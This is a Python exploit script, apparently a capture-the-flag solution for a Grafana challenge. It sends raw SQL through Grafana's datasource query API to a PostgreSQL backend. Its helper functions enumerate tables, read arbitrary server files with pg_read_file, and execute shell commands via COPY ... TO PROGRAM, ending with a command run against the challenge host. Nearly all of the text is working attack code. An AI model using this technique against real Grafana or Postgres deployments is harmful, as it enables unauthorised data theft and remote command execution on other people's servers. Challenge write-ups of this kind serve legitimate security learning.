44 lines
1.3 KiB
Python
44 lines
1.3 KiB
Python
import json
|
|
import requests
|
|
|
|
def query(sql):
|
|
payload = {
|
|
"queries": [{
|
|
"refId": "A",
|
|
"datasource": {"type": "grafana-postgresql-datasource", "uid": "P44368ADAD746BC27"},
|
|
"rawSql": sql,
|
|
"format": "table",
|
|
"datasourceId": 1,
|
|
"intervalMs": 60000,
|
|
"maxDataPoints": 995
|
|
}],
|
|
"from": "1772651062151",
|
|
"to": "1772672662151"
|
|
}
|
|
r = requests.post(
|
|
"https://4gt4pfyloljfqjjoqn4csy5an7-3000-grafasaurus.challenge.cscg.live/api/ds/query",
|
|
data=json.dumps(payload),
|
|
headers={'Content-type': 'application/json'}
|
|
)
|
|
return r.text
|
|
|
|
def print_result(text):
|
|
result = json.loads(text)
|
|
values = result["results"]["A"]["frames"][0]["data"]["values"]
|
|
for col in values:
|
|
for val in col:
|
|
print(val)
|
|
|
|
def leak_tables():
|
|
print(query("SELECT table_schema, table_name FROM information_schema.tables ORDER BY table_schema, table_name"))
|
|
print(query("SELECT schemaname, tablename FROM pg_tables ORDER BY schemaname, tablename"))
|
|
|
|
def leak_file(path):
|
|
print(query(f"SELECT pg_read_file('{path}')"))
|
|
|
|
def execute_binary(cmd):
|
|
query(f"COPY (SELECT 1) TO PROGRAM '{cmd} > /tmp/out.txt 2>&1'")
|
|
print_result(query("SELECT pg_read_file('/tmp/out.txt')"))
|
|
|
|
execute_binary("ls /")
|